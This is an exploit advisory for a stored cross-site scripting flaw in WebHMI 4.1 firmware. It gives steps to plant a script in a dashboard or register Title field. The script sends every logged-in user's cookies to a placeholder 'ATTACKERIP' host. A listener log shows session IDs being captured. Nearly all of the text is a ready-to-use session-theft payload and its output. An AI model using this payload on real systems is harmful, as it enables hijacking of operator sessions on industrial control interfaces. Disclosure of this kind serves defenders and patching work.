Authored by Antonio Cuomo

WebHMI version 4.1 suffers from a persistent cross site scripting vulnerability.

# Exploit Title: WebHMI 4.1 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 04/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage:
# Version: WebHMI Firmware
# Tested on: WebHMI Firmware

#Steps to Reproduce

1. Login to admin account

2. Add a new register or create new dashboard
insert payload

<script>var i=new Image;i.src="https://ATTACKERIP/?"+document.cookie;</script>

in Title field and save.

# Dashboard section impact instantly all logged users.

#Listener log:
GET /?PHPSESSID=acaa76374df7418e81460b4a625cb457;%20i18next=en;%20X-WH-SESSION-ID=8a5d6c60bdab0704f32e792bc1d36a6f HTTP/1.1
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7